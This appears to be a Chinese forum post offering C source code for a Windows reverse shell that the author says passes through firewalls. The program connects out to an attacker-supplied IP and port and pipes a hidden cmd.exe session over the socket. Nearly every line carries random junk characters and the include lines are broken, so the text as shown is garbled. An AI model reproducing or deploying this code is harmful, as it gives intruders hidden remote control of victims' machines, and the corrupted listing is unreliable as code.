Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 go[(N6hN  
$ri'tJ+  
/* ============================== E2xcd#ZD  
Rebound port in Windows NT h}@)oSX }  
By wind,2006/7 ztG!NZL  
===============================*/ )gb gsQZ  
#include N8K @ch3=P  
#include P{{U  
*E1v  
#pragma comment(lib,"wsock32.lib") Q ,6[  
O9Fg_qfuT_  
void OutputShell(); 9! 6\8  
SOCKET sClient; ?=^M(TA;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H6! <y-
  
iTpU4Qsj  
void main(int argc,char **argv) <&Q(I+^  
{ 7$HN5T\!  
WSADATA stWsaData; P3u,)P&  
int nRet; 1~_&XNb&  
SOCKADDR_IN stSaiClient,stSaiServer; w=K!U]  
c=Y8R/G<  
if(argc != 3) " +n\0j;  
{ @!MhVNS_<  
printf("Useage:\n\rRebound DestIP DestPort\n"); /'uFX,  
return; ZA!yw7~  
} /N?vVp  
v<SCh)[-p  
WSAStartup(MAKEWORD(2,2),&stWsaData); @b,&b6V  
wNt-mgir-Q  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :!nBTw  
DD
(K@
M  
stSaiClient.sin_family = AF_INET; .dStV6  
stSaiClient.sin_port = htons(0); X1GpLy)p  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ++ZtL\h{7  
@cT= t0*  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zbM*/:Y  
{ BMlu>,  
printf("Bind Socket Failed!\n"); Pcox~U/j  
return; NIascee  
} fNllF,8}  
.)Af&+KT  
stSaiServer.sin_family = AF_INET; g-cC&)0Q  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y\pRk6,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z')zVoW,  
/H m),9NN  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xM6v0Ua  
{ SF#Rc>v  
printf("Connect Error!"); hr)CxsPoRQ  
return; -'jPue2\  
} WI+ 5x  
OutputShell(); .o!z:[IPY  
} FA#?+kd  
! !9l@  
void OutputShell() Er]lObfQo  
{ {?zbrgQ<Z  
char szBuff[1024]; 7=gv4arRwt  
SECURITY_ATTRIBUTES stSecurityAttributes; rt5eN:'qY  
OSVERSIONINFO stOsversionInfo; wWU5]v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o"5[~$O  
STARTUPINFO stStartupInfo; oF9c>^s  
char *szShell; #Lq{_Y  
PROCESS_INFORMATION stProcessInformation; ^%<t^sE  
unsigned long lBytesRead; !"e~HZmr  
OYC\+ =  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4EB&Zmg[K  
1G6MO  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |>2IgTh1a  
stSecurityAttributes.lpSecurityDescriptor = 0; eJm7}\/6`  
stSecurityAttributes.bInheritHandle = TRUE; buv*qPO  
^twJNm{99  
".=LzjE<gv  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5W29oz}-S  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ag \d4y6  
Y=-ILN("  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); rW&#Xw/a  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z
O!  
stStartupInfo.wShowWindow = SW_HIDE; ,*w  
stStartupInfo.hStdInput = hReadPipe; BL&D|e  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; QlFt:?7f  
H^e0fm  
GetVersionEx(&stOsversionInfo); kQY+D1  
E*F)jP,yo  
switch(stOsversionInfo.dwPlatformId) ^ew<|J2,B  
{ =:;KYuTr  
case 1: xn)eb#r  
szShell = "command.com"; l`}Ag8Q  
break; <\If:  
default: uKBSv*AM  
szShell = "cmd.exe"; %j=xLV\  
break; 't5 I%F  
} /#,3JU$w  
i47xF7y\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O!c b-  
Qf}^x9'  
send(sClient,szMsg,77,0); (^Q:zU  
while(1) w|uO)/v  
{ 
rq.S0bzH  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); W"@FRWcd  
if(lBytesRead) MGmUgc  
{ E9yBa=#*c  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3Q@HP;<  
send(sClient,szBuff,lBytesRead,0); Q6|~ks+Y  
} q~K KN /N  
else =c>w  
{ guC7!P^  
lBytesRead=recv(sClient,szBuff,1024,0); 4p%=8G|  
if(lBytesRead<=0) break; rkW2_UTZE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {0#p,l  
} WLTraB[?  
} -p:X]Ov  
J}035  
return; RNJUA^{  
}